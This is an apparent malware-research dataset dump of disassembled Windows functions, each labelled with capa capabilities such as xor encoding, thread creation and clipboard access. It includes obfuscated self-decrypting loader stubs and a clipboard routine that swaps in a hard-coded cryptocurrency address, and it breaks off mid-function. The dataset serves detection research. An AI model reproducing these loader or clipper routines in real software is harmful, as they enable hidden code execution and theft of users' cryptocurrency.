joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40a240
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
pushal
call 0x40a24f
pop dword [ebp - 0x18]
mov eax, 0x3b8e6b2a
add eax, 0xc4b23725
sub dword [ebp - 0x18], eax
mov dword [ebp - 0x28], 0xa5eec180
sub dword [ebp - 0x28], 0x579c7c35
mov dword [ebp - 0x24], 0xdb74fc80
add dword [ebp - 0x24], 0x56be4fc5
mov dword [ebp - 0x20], 0xe2f9c317
sub dword [ebp - 0x20], 0x96ad7ee9
mov dword [ebp - 0x1c], 0x1300afc4
add dword [ebp - 0x1c], 0xecff503c
lea eax, [ebp - 0x28]
push eax
mov eax, 0x3ae6ae71
add eax, 0xc55a822f
add eax, dword [ebp - 0x18]
call dword [eax]
mov dword [ebp - 0x28], 0xa806a74c
sub dword [ebp - 0x28], 0x33943df6
mov dword [ebp - 0x24], 0xb5f0ce65
add dword [ebp - 0x24], 0x8b7b9310
mov dword [ebp - 0x20], 0x428ffa21
sub dword [ebp - 0x20], 0xdf208db5
mov dword [ebp - 0x1c], 0xc1283612
sub dword [ebp - 0x1c], 0xc1283612
lea ebx, [ebp - 0x28]
push ebx
push eax
mov eax, 0x8c10430f
add eax, 0x7430ed2d
add eax, dword [ebp - 0x18]
call dword [eax]
push 0x40
push 0x1000
push 0x3dc08
push 0
call eax
mov ecx, 0x347fef43
add ecx, 0xcb806508
mov ebx, eax
mov edi, 0x247751c
sub edi, 0x205c51c
add edi, dword [ebp - 0x18]
mov edx, 0xe11e491b
add edx, 0x8ccf474b
add dword [ebp - 0x10], esi
mov esi, dword [edi]
xor dword [ebp - 4], 0xfa596b69
sub esi, edx
xor dword [ebp - 4], esi
mov dword [ebx], esi
sub dword [ebp - 8], edx
add ebx, 0x98e4c2e
sub ebx, 0x98e4c2a
add edi, 4
loop 0x40a371
add eax, 0x143ff
mov ebx, eax
add eax, 0x67fb4946
sub eax, 0x67fb4941
mov ecx, 0x400000
add ecx, dword [ebp - 0x18]
call ebx
leave
ret

Function at 0x410100
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
push 4
mov esi, ecx
call main
pop ecx
xor ecx, ecx
mov dword [ebp - 4], eax
test eax, eax
je 0x41011c
mov dword [eax], ecx
jmp 0x41011e
mov eax, ecx
push ecx
push ecx
push esi
push 0x410190
push ecx
push ecx
mov dword [esi + 0x10], eax
call dword [sym.imp.kernel32.dll_CreateThread]
mov ecx, dword [esi + 0x10]
pop esi
mov dword [ecx], eax
leave
ret
Function at 0x401007
Capabilities:
Delete file
Set thread local storage value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x838
mov eax, dword [ebp + 8]
push ebx
mov ebx, dword [eax + 4]
push esi
mov esi, dword [eax]
push edi
xor edi, edi
cmp dword [0x43f934], 0x594
mov dword [ebp - 0x14], esi
jne 0x40103b
push edi
lea eax, [ebp - 0x838]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
mov eax, dword [0x4305e8]
mov dword [ebp - 0x30], eax
mov eax, dword [0x4305ec]
mov dword [ebp - 0x24], eax
lea eax, [ebp - 8]
mov dword [ebp - 8], edi
mov dword [ebp - 0x2c], 0x9e3779b9
call fcn.00401000
mov eax, dword [0x4305f0]
add dword [ebp - 8], 0x23f
mov dword [ebp - 0x28], eax
mov eax, dword [0x4305f4]
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x20], 0x20
jmp 0x401080
mov esi, dword [ebp - 0x14]
mov dword [ebp - 0xc], 2
add dword [ebp - 0xc], 3
mov eax, esi
shl eax, 4
cmp dword [0x43f934], 0xc
mov dword [ebp - 4], eax
jne 0x4010b9
push edi
lea eax, [ebp - 0x438]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_FindNextVolumeMountPointA]
push edi
lea eax, [ebp - 0x38]
push eax
push edi
push edi
push edi
call dword [sym.imp.KERNEL32.dll_WriteConsoleW]
mov eax, dword [ebp - 0x28]
add dword [ebp - 4], eax
mov eax, dword [0x43f934]
cmp eax, 0xfa9
jne 0x4010d5
mov dword [0x43f930], 0xedeb2e40
cmp eax, 0x3eb
jne 0x4010f8
push edi
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push edi
call dword [sym.imp.KERNEL32.dll_InterlockedDecrement]
push edi
push edi
call dword [sym.imp.KERNEL32.dll_TlsSetValue]
mov dword [0x43f888], edi
mov eax, dword [ebp - 8]
mov ecx, dword [ebp - 0xc]
mov edx, esi
add eax, esi
shr edx, cl
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 4]
mov dword [0x43f92c], 0xf4ea3dee
add edx, dword [ebp - 0x34]
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x18], edi
mov eax, dword [ebp - 0x1c]
add dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x18]
xor dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x10]
xor eax, edx
sub ebx, eax
mov eax, ebx
shl eax, 4
mov dword [ebp - 4], eax
mov eax, dword [ebp - 0x30]
add dword [ebp - 4], eax
mov ecx, dword [ebp - 0xc]
mov eax, dword [ebp - 8]
mov esi, ebx
shr esi, cl
add eax, ebx
mov dword [ebp - 0x1c], eax
add esi, dword [ebp - 0x24]
mov eax, dword [ebp - 0x1c]
xor dword [ebp - 4], eax
cmp dword [0x43f934], 0xb03
jne 0x40116f
push str.zawoworobapuwotisumimodalagusuharawiyokisogujonefafunohuz
push edi
push edi
call dword [sym.imp.KERNEL32.dll_OpenMutexW]
xor dword [ebp - 4], esi
mov eax, dword [ebp - 4]
sub dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x2c]
sub dword [ebp - 8], eax
dec dword [ebp - 0x20]
jne 0x40107d
mov eax, dword [ebp + 8]
mov ecx, dword [ebp - 0x14]
pop edi
pop esi
mov dword [eax + 4], ebx
mov dword [eax], ecx
pop ebx
leave
ret 4
Function at 0x4029d0
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x42f0f8]
jne 0x4029da
repz ret
jmp fcn.00406e6e

Function at 0x406a97
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.00405191
and dword [ebp - 4], 0
cmp dword [0x4348d4], 0
mov ebx, eax
jne 0x406b48
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x406bf9
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
test eax, eax
je 0x406bf9
push eax
call fcn.0040511f
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x4348d4], eax
call esi
push eax
call fcn.0040511f
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x4348d8], eax
call esi
push eax
call fcn.0040511f
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x4348dc], eax
call esi
push eax
call fcn.0040511f
pop ecx
mov dword [0x4348e4], eax
test eax, eax
je 0x406b48
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.0040511f
pop ecx
mov dword [0x4348e0], eax
mov eax, dword [0x4348e0]
cmp eax, ebx
je 0x406ba0
cmp dword [0x4348e4], ebx
je 0x406ba0
push eax
call fcn.0040519a
push dword [0x4348e4]
mov esi, eax
call fcn.0040519a
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x406ba0
test edi, edi
je 0x406ba0
call esi
test eax, eax
je 0x406b97
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x406b97
test byte [ebp - 0xc], 1
jne 0x406ba0
or dword [ebp + 0x10], 0x200000
jmp 0x406bd9
mov eax, dword [0x4348d8]
cmp eax, ebx
je 0x406bd9
push eax
call fcn.0040519a
pop ecx
test eax, eax
je 0x406bd9
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x406bd9
mov eax, dword [0x4348dc]
cmp eax, ebx
je 0x406bd9
push eax
call fcn.0040519a
pop ecx
test eax, eax
je 0x406bd9
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x4348d4]
call fcn.0040519a
pop ecx
test eax, eax
je 0x406bf9
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x406bfb
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x401000
Capabilities:
Check if file exists
Create directory
Get file attributes

Disassembly:
push esi
mov esi, dword [esp + 0xc]
test esi, esi
je 0x401090
push ebp
mov ebp, dword [esp + 0x14]
push edi
mov edi, dword [esp + 0x10]
push ebx
cmp byte [esi], 0
je 0x40108d
push 0x5c
push esi
call dword [sym.imp.MSVCRT.dll_strchr]
mov esi, eax
test esi, esi
pop ecx
pop ecx
je 0x40108d
push edi
mov byte [esi], 0
call dword [sym.imp.kernel32.dll_GetFileAttributesA]
mov ebx, eax
cmp ebx, 0xffffffff
jne 0x401066
push 0
push edi
call dword [sym.imp.kernel32.dll_CreateDirectoryA]
test eax, eax
jne 0x40105f
test ebp, ebp
je 0x40105f
push edi
push str.CreateDirectory___s_
push 5
call ebp
add esp, 0xc
jmp 0x401066
push edi
push 1
call ebp
pop ecx
pop ecx
test bl, 0x10
jne 0x401087
push 0xb7
call dword [sym.imp.kernel32.dll_SetLastError]
test ebp, ebp
je 0x401087
push edi
push str.CreateDirectory___s_
push 5
call ebp
add esp, 0xc
mov byte [esi], 0x5c
inc esi
jne 0x401018
pop ebx
pop edi
pop ebp
xor eax, eax
inc eax
pop esi
ret

Function at 0x40287f
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
pushal
call 0x40288e
pop dword [ebp - 0x14]
mov eax, 0x8e919cc9
sub eax, 0x8e51743b
sub dword [ebp - 0x14], eax
mov dword [ebp - 0x24], 0x870f1506
sub dword [ebp - 0x24], 0x38bccfbb
mov dword [ebp - 0x20], 0x48f66e16
sub dword [ebp - 0x20], 0x16c321d1
mov dword [ebp - 0x1c], 0x5b9c3561
add dword [ebp - 0x1c], 0xf0b00ecd
mov dword [ebp - 0x18], 0x11c7e35e
add dword [ebp - 0x18], 0xee381ca2
lea eax, [ebp - 0x24]
push eax
mov eax, 0xee4978dd
sub eax, 0xee090879
add eax, dword [ebp - 0x14]
call dword [eax]
mov dword [ebp - 0x24], 0xf7fe1d6a
sub dword [ebp - 0x24], 0x838bb414
mov dword [ebp - 0x20], 0x26202d7a
sub dword [ebp - 0x20], 0xe4b3cc05
mov dword [ebp - 0x1c], 0xd75446dc
add dword [ebp - 0x1c], 0x8c1b2590
mov dword [ebp - 0x18], 0xc8e06ca3
add dword [ebp - 0x18], 0x371f935d
lea ebx, [ebp - 0x24]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0x14]
call dword [eax]
push 0x40
push 0x1000
push 0x3395a
push 0
call eax
mov ecx, 0x745856a1
sub ecx, 0x74581aad
xor ebx, ebx
add ebx, eax
mov esi, 0x410000
add esi, dword [ebp - 0x14]
mov edi, 0x4846fd1b
sub edi, 0xb8223548
sub dword [ebp - 0xc], edi
mov edx, dword [esi]
add dword [ebp - 0xc], ebx
add edx, edi
add dword [ebp - 8], ecx
mov dword [ebx], edx
xor dword [ebp - 4], 0xa5d84fa9
add ebx, 0xc389aedd
add ebx, 0x3c765127
add esi, 0x8c1b207
add esi, 0xf73e4dfd
loop 0x4029a7
add eax, 0x1b569c7
add eax, 0xfe4b78dc
mov ebx, eax
add eax, 0x2110e816
sub eax, 0x2110e811
mov ecx, 0x5c816e84
add ecx, 0xa3be917c
add ecx, dword [ebp - 0x14]
call ebx
leave
ret
Function at 0x4074a0
Capabilities:
Access peb ldr_data

Disassembly:
push 0xffffffffffffffff
push 0x444510
mov eax, dword fs:[0]
push eax
push ebx
push ebp
push esi
push edi
mov eax, dword [0x457750]
xor eax, esp
push eax
lea eax, [esp + 0x14]
mov dword fs:[0], eax
mov ebp, dword [esp + 0x24]
mov dword [esp + 0x1c], 1
mov ebx, dword [esp + 0x28]
push 0x2f
push ecx
mov dword [esp + 0x2c], esp
add ebx, 0xfffffff0
mov esi, esp
push ebx
call fcn.00403430
add eax, 0x10
mov dword [esi], eax
lea eax, [esp + 0x30]
add esp, 4
push eax
call fcn.00404120
add esp, 0xc
lea ecx, [ebp + 0x80]
push eax
mov byte [esp + 0x20], 2
call fcn.004033b0
mov byte [esp + 0x1c], 1
mov eax, dword [esp + 0x24]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x407531
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov esi, dword [esp + 0x2c]
push 0x2f
push ecx
mov dword [esp + 0x2c], esp
add esi, 0xfffffff0
mov edi, esp
push esi
call fcn.00403430
lea ecx, [esp + 0x30]
add esp, 4
add eax, 0x10
push ecx
mov dword [edi], eax
call fcn.00404120
add esp, 0xc
lea ecx, [ebp + 0x84]
push eax
mov byte [esp + 0x20], 3
call fcn.004033b0
mov byte [esp + 0x1c], 1
mov eax, dword [esp + 0x24]
add eax, 0xfffffff0
lea edx, [eax + 0xc]
or ecx, 0xffffffff
lock xadd dword [edx], ecx
dec ecx
test ecx, ecx
jg 0x407592
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [esp + 0x1c], 0
lea ecx, [ebx + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x4075b0
mov ecx, dword [ebx]
mov eax, dword [ecx]
mov edx, dword [eax + 4]
push ebx
call edx
mov dword [esp + 0x1c], 0xffffffff
lea eax, [esi + 0xc]
or ecx, 0xffffffff
lock xadd dword [eax], ecx
dec ecx
test ecx, ecx
jg 0x4075d1
mov ecx, dword [esi]
mov edx, dword [ecx]
mov eax, dword [edx + 4]
push esi
call eax
mov ecx, dword [esp + 0x14]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebp
pop ebx
add esp, 0xc
ret 0xc
Function at 0x4317b7
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov ecx, dword [ebp + 8]
push ebx
mov ebx, dword [ebp + 0xc]
push esi
push edi
xor edi, edi
cmp dword [ebp + 0x10], edi
mov dword [ebp - 8], ecx
mov dword [ebp - 4], ebx
je 0x4317f4
cmp dword [ebp + 0x14], edi
je 0x4317f4
cmp ecx, edi
jne 0x4317fb
call fcn.0042e591
push edi
push edi
push edi
push edi
mov dword [eax], 0x16
push edi
call fcn.0042ba5e
add esp, 0x14
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
mov esi, dword [ebp + 0x18]
cmp esi, edi
je 0x43180f
or eax, 0xffffffff
xor edx, edx
div dword [ebp + 0x10]
cmp dword [ebp + 0x14], eax
jbe 0x431830
cmp ebx, 0xffffffff
je 0x43181f
push ebx
push edi
push ecx
call fcn.0042e5e0
add esp, 0xc
cmp esi, edi
je 0x4317dc
or eax, 0xffffffff
xor edx, edx
div dword [ebp + 0x10]
cmp dword [ebp + 0x14], eax
ja 0x4317dc
mov edi, dword [ebp + 0x10]
imul edi, dword [ebp + 0x14]
test word [esi + 0xc], 0x10c
mov dword [ebp - 0x10], edi
mov ebx, edi
je 0x43184c
mov eax, dword [esi + 0x18]
mov dword [ebp - 0xc], eax
jmp 0x431853
mov dword [ebp - 0xc], 0x1000
test edi, edi
je 0x431944
test word [esi + 0xc], 0x10c
je 0x4318a7
mov eax, dword [esi + 4]
test eax, eax
je 0x4318a7
jl 0x4319a5
cmp ebx, eax
mov edi, ebx
jb 0x431878
mov edi, eax
cmp edi, dword [ebp - 4]
ja 0x43194c
push edi
push dword [esi]
push dword [ebp - 4]
push dword [ebp - 8]
call fcn.0042ba92
sub dword [esi + 4], edi
add dword [esi], edi
add dword [ebp - 8], edi
sub ebx, edi
add esp, 0x10
sub dword [ebp - 4], edi
mov edi, dword [ebp - 0x10]
jmp 0x43193c
cmp ebx, dword [ebp - 0xc]
jb 0x431914
cmp dword [ebp - 0xc], 0
je 0x4318d1
mov ecx, 0x7fffffff
xor edx, edx
cmp ebx, ecx
jbe 0x4318c6
mov eax, ecx
div dword [ebp - 0xc]
mov eax, ecx
jmp 0x4318cd
mov eax, ebx
div dword [ebp - 0xc]
mov eax, ebx
sub eax, edx
jmp 0x4318dc
mov eax, 0x7fffffff
cmp ebx, eax
ja 0x4318dc
mov eax, ebx
cmp eax, dword [ebp - 4]
ja 0x431978
push eax
push dword [ebp - 8]
push esi
call fcn.004314fa
pop ecx
push eax
call fcn.0043cbb7
add esp, 0xc
test eax, eax
je 0x4319b7
cmp eax, 0xffffffff
je 0x4319a5
add dword [ebp - 8], eax
sub ebx, eax
sub dword [ebp - 4], eax
jmp 0x43193c
push esi
call fcn.0043c4d6
cmp eax, 0xffffffff
pop ecx
je 0x4319a9
cmp dword [ebp - 4], 0
je 0x431978
mov ecx, dword [ebp - 8]
inc dword [ebp - 8]
mov byte [ecx], al
mov eax, dword [esi + 0x18]
dec ebx
dec dword [ebp - 4]
mov dword [ebp - 0xc], eax
test ebx, ebx
jne 0x43185b
mov eax, dword [ebp + 0x14]
jmp 0x4317f6
xor esi, esi
cmp dword [ebp + 0xc], 0xffffffff
je 0x431963
push dword [ebp + 0xc]
push esi
push dword [ebp + 8]
call fcn.0042e5e0
add esp, 0xc
call fcn.0042e591
push esi
push esi
push esi
push esi
mov dword [eax], 0x22
push esi
jmp 0x4317ec
cmp dword [ebp + 0xc], 0xffffffff
je 0x43198e
push dword [ebp + 0xc]
push 0
push dword [ebp + 8]
call fcn.0042e5e0
add esp, 0xc
call fcn.0042e591
mov dword [eax], 0x22
xor eax, eax
push eax
push eax
push eax
push eax
push eax
jmp 0x4317ec
or dword [esi + 0xc], 0x20
mov eax, edi
sub eax, ebx
xor edx, edx
div dword [ebp + 0x10]
jmp 0x4317f6
or dword [esi + 0xc], 0x10
jmp 0x4319a9
Function at 0x401000
Capabilities:
Check if file exists
Create directory
Get file attributes

Disassembly:
push esi
mov esi, dword [esp + 0xc]
test esi, esi
je 0x401090
push ebp
mov ebp, dword [esp + 0x14]
push edi
mov edi, dword [esp + 0x10]
push ebx
cmp byte [esi], 0
je 0x40108d
push 0x5c
push esi
call dword [sym.imp.MSVCRT.dll_strchr]
mov esi, eax
test esi, esi
pop ecx
pop ecx
je 0x40108d
push edi
mov byte [esi], 0
call dword [sym.imp.kernel32.dll_GetFileAttributesA]
mov ebx, eax
cmp ebx, 0xffffffff
jne 0x401066
push 0
push edi
call dword [sym.imp.kernel32.dll_CreateDirectoryA]
test eax, eax
jne 0x40105f
test ebp, ebp
je 0x40105f
push edi
push str.CreateDirectory___s_
push 5
call ebp
add esp, 0xc
jmp 0x401066
push edi
push 1
call ebp
pop ecx
pop ecx
test bl, 0x10
jne 0x401087
push 0xb7
call dword [sym.imp.kernel32.dll_SetLastError]
test ebp, ebp
je 0x401087
push edi
push str.CreateDirectory___s_
push 5
call ebp
add esp, 0xc
mov byte [esi], 0x5c
inc esi
jne 0x401018
pop ebx
pop edi
pop ebp
xor eax, eax
inc eax
pop esi
ret

Function at 0x402bf1
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
pushal
call 0x402c00
pop dword [ebp - 0x38]
mov eax, 0x402c00
sub dword [ebp - 0x38], eax
mov dword [ebp - 0x48], 0xbd8a7d0c
sub dword [ebp - 0x48], 0x6f3837c1
mov dword [ebp - 0x44], 0xdc9eefc7
add dword [ebp - 0x44], 0x55945c7e
mov dword [ebp - 0x40], 0xf3f391ea
add dword [ebp - 0x40], 0x5858b244
mov dword [ebp - 0x3c], 0x7f15a3ce
sub dword [ebp - 0x3c], 0x7f15a3ce
lea eax, [ebp - 0x48]
push eax
mov eax, sym.imp.kernel32.dll_GetModuleHandleA
add eax, dword [ebp - 0x38]
call dword [eax]
mov dword [ebp - 0x48], 0x6112f446
sub dword [ebp - 0x48], 0xeca08af0
mov dword [ebp - 0x44], 0xab9781d8
sub dword [ebp - 0x44], 0x6a2b2063
mov dword [ebp - 0x40], 0x538b6b8
sub dword [ebp - 0x40], 0xa1c94a4c
mov dword [ebp - 0x3c], 0x9e75442d
add dword [ebp - 0x3c], 0x618abbd3
lea ebx, [ebp - 0x48]
push ebx
push eax
mov eax, 0xc9d5171f
add eax, 0x366b5989
add eax, dword [ebp - 0x38]
call dword [eax]
push 0x40
push 0x1000
push 0x3b2f6
push 0
call eax
mov ecx, 0xe291532d
add ecx, 0x1d6f06cf
mov edx, eax
mov ebx, 0x410000
add ebx, dword [ebp - 0x38]
mov edi, 0xf0a21b6e
sub dword [ebp - 0xc], eax
mov esi, dword [ebx]
mov dword [ebp - 0x34], 0xb1069386
add esi, edi
add dword [ebp - 0x18], 0xdd3d7e35
mov dword [edx], esi
xor dword [ebp - 0x30], 0x3038c929
add edx, 0x9746ddb7
sub edx, 0x9746ddb3
add ebx, 0xf919b25
sub ebx, 0xf919b21
loop 0x402d0c
add eax, 0x15ac3
mov ebx, eax
add eax, 0xdad860e1
sub eax, 0xdad860dc
mov ecx, 0x400000
add ecx, dword [ebp - 0x38]
call ebx
leave
ret
Function at 0x403e40
Capabilities:
Open clipboard
Read clipboard data

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x42b985
mov eax, dword fs:[0]
push eax
sub esp, 0x30
mov eax, dword [0x439040]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
push 0
xorps xmm0, xmm0
mov dword [ebp - 0x18], 0
push 0x4350bc
lea ecx, [ebp - 0x28]
mov dword [ebp - 0x14], 0
movups xmmword [ebp - 0x28], xmm0
call fcn.00406150
push 0
mov dword [ebp - 4], 0
call dword [sym.imp.USER32.dll_OpenClipboard]
test eax, eax
je 0x403f49
mov esi, dword [sym.imp.USER32.dll_GetClipboardData]
push 1
call esi
test eax, eax
je 0x403ed3
push 1
call esi
mov edx, eax
lea esi, [edx + 1]
nop dword [eax + eax]
mov cl, byte [edx]
inc edx
test cl, cl
jne 0x403ec0
sub edx, esi
lea ecx, [ebp - 0x28]
push edx
push eax
call fcn.00405370
sub esp, 8
mov dword [ebp - 0x2c], 0
xorps xmm0, xmm0
lea ecx, [ebp - 0x3c]
movups xmmword [ebp - 0x3c], xmm0
call fcn.004048e0
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x28]
cmp dword [ebp - 0x14], 0xf
lea eax, [ebp - 0x3c]
mov edx, dword [ebp - 0x18]
cmova ecx, dword [ebp - 0x28]
lea edx, [edx + ecx]
lea ecx, [ebp - 0x28]
cmova ecx, dword [ebp - 0x28]
push ecx
push 0x10
push eax
push ecx
call fcn.00406ff0
add esp, 0x10
test al, al
je 0x403f21
call fcn.00403fa0
call dword [sym.imp.USER32.dll_CloseClipboard]
lea ecx, [ebp - 0x3c]
call fcn.00405040
mov ecx, dword [ebp - 0x2c]
test ecx, ecx
je 0x403f49
mov eax, dword [ecx]
mov eax, dword [eax + 8]
call eax
test eax, eax
je 0x403f49
mov edx, dword [eax]
mov ecx, eax
push 1
call dword [edx]
mov ecx, dword [ebp - 0x14]
cmp ecx, 0xf
jbe 0x403f79
mov edx, dword [ebp - 0x28]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x403f6f
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x403f93
push ecx
push edx
call fcn.0040f69e
add esp, 8
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0040f40a
mov esp, ebp
pop ebp
ret
call fcn.00416877
int3
Function at 0x403fa0
Capabilities:
Open clipboard
Write clipboard data

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff0
sub esp, 0x38
mov eax, dword [0x439040]
xor eax, esp
mov dword [esp + 0x34], eax
push esi
push edi
push 0x22
xorps xmm0, xmm0
mov dword [esp + 0x24], 0
push str.3EuqWsRDzLYQQpeC8QdgshiK6QTgRFxsB4
lea ecx, [esp + 0x18]
movaps xmmword [esp + 0x18], xmm0
mov dword [esp + 0x2c], 0
call fcn.00406150
push 0
call dword [sym.imp.USER32.dll_OpenClipboard]
call dword [sym.imp.USER32.dll_EmptyClipboard]
mov eax, dword [esp + 0x20]
inc eax
push eax
push 2
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov esi, dword [esp + 0x10]
mov edi, eax
test edi, edi
jne 0x40400c
call dword [sym.imp.USER32.dll_CloseClipboard]
jmp 0x40404a
cmp dword [esp + 0x24], 0xf
lea eax, [esp + 0x10]
push dword [esp + 0x20]
cmova eax, esi
push eax
push edi
call dword [sym.imp.KERNEL32.dll_GlobalLock]
push eax
call fcn.00410a40
add esp, 0xc
push edi
call dword [sym.imp.KERNEL32.dll_GlobalUnlock]
push edi
push 1
call dword [sym.imp.USER32.dll_SetClipboardData]
call dword [sym.imp.USER32.dll_CloseClipboard]
push edi
call dword [sym.imp.KERNEL32.dll_GlobalFree]
mov eax, dword [esp + 0x24]
cmp eax, 0xf
jbe 0x40407a
lea ecx, [eax + 1]
mov eax, esi
cmp ecx, 0x1000
jb 0x404070
mov esi, dword [eax - 4]
add ecx, 0x23
sub eax, esi
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40408b
push ecx
push esi
call fcn.0040f69e
add esp, 8
mov ecx, dword [esp + 0x3c]
pop edi
pop esi
xor ecx, esp
call fcn.0040f40a
mov esp, ebp
pop ebp
ret
call fcn.00416877
int3
Function at 0x406850
Capabilities:
Encode data using xor
Hash data using fnv

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, dword [ebp + 0xc]
mov edx, 0x811c9dc5
push edi
mov edi, dword [ebp + 8]
mov ecx, 0
sub esi, edi
je 0x406881
nop dword [eax]
movzx eax, byte [ecx + edi]
inc ecx
xor eax, edx
imul edx, eax, 0x1000193
cmp ecx, esi
jb 0x406870
pop edi
mov eax, edx
pop esi
pop ebp
ret 8
Function at 0x40c8ef
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
push ecx
push 2
lea eax, [ebp - 4]
push eax
push 0x20000001
push str._x_sys_default_locale
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoEx]
xor ecx, ecx
test eax, eax
jne 0x40c916
mov eax, ecx
mov dword [ebp - 4], eax
jmp 0x40c919
mov eax, dword [ebp - 4]
push esi
mov esi, dword [ebp + 0xc]
push ecx
push ecx
push esi
push eax
push dword [ebp + 8]
push ecx
push 0x1300
call dword [sym.imp.KERNEL32.dll_FormatMessageA]
push eax
push dword [esi]
call fcn.0040c8cb
pop esi
leave
ret 8

Function at 0x40e2dd
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
mov eax, dword [ebp + 0x10]
push ebx
mov ebx, ecx
push edi
mov edi, dword [ebp + 0xc]
test eax, eax
jg 0x40e2fe
jl 0x40e2f5
test edi, edi
jne 0x40e2fe
xor eax, eax
xor edx, edx
jmp 0x40e3bf
cmp dword [ebx + 0x38], 0
je 0x40e313
push eax
push edi
push dword [ebp + 8]
call fcn.0040e3c5
jmp 0x40e3bf
mov eax, dword [ebx + 0x1c]
push esi
mov esi, edi
mov ecx, dword [eax]
test ecx, ecx
je 0x40e35a
mov eax, dword [ebx + 0x2c]
mov eax, dword [eax]
mov dword [ebp - 4], eax
test eax, eax
je 0x40e35a
cmp eax, edi
jb 0x40e334
mov eax, edi
mov dword [ebp - 4], edi
push eax
push ecx
push dword [ebp + 8]
call fcn.00410a40
mov ecx, dword [ebp - 4]
add esp, 0xc
mov eax, dword [ebp + 8]
sub esi, ecx
add eax, ecx
mov dword [ebp - 4], eax
mov eax, dword [ebx + 0x2c]
sub dword [eax], ecx
mov eax, dword [ebx + 0x1c]
add dword [eax], ecx
jmp 0x40e360
mov eax, dword [ebp + 8]
mov dword [ebp - 4], eax
cmp dword [ebx + 0x4c], 0
je 0x40e3b4
mov ecx, ebx
call fcn.0040db74
mov ecx, dword [ebp - 4]
mov edx, esi
mov eax, 0xfff
cmp esi, eax
jbe 0x40e39f
push dword [ebx + 0x4c]
push eax
push 1
push ecx
call fcn.00417872
mov ecx, dword [ebp - 4]
sub esi, eax
add ecx, eax
add esp, 0x10
mov dword [ebp - 4], ecx
mov edx, esi
cmp eax, 0xfff
jne 0x40e3b4
jmp 0x40e372
test edx, edx
je 0x40e3b4
push dword [ebx + 0x4c]
push esi
push 1
push ecx
call fcn.00417872
add esp, 0x10
sub esi, eax
mov edx, dword [ebp + 0x10]
sub edi, esi
mov eax, edi
sbb edx, 0
pop esi
pop edi
pop ebx
leave
ret 0xc

Function at 0x40ffbb
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x40fffa
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x40fffa
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x40fffa
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x40fffa
cmp dword [ecx + 0x74], 0xe
jbe 0x40fffa
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret

Function at 0x41dd9d
Capabilities:
Allocate thread local storage

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x4314f0
push 0x4314e8
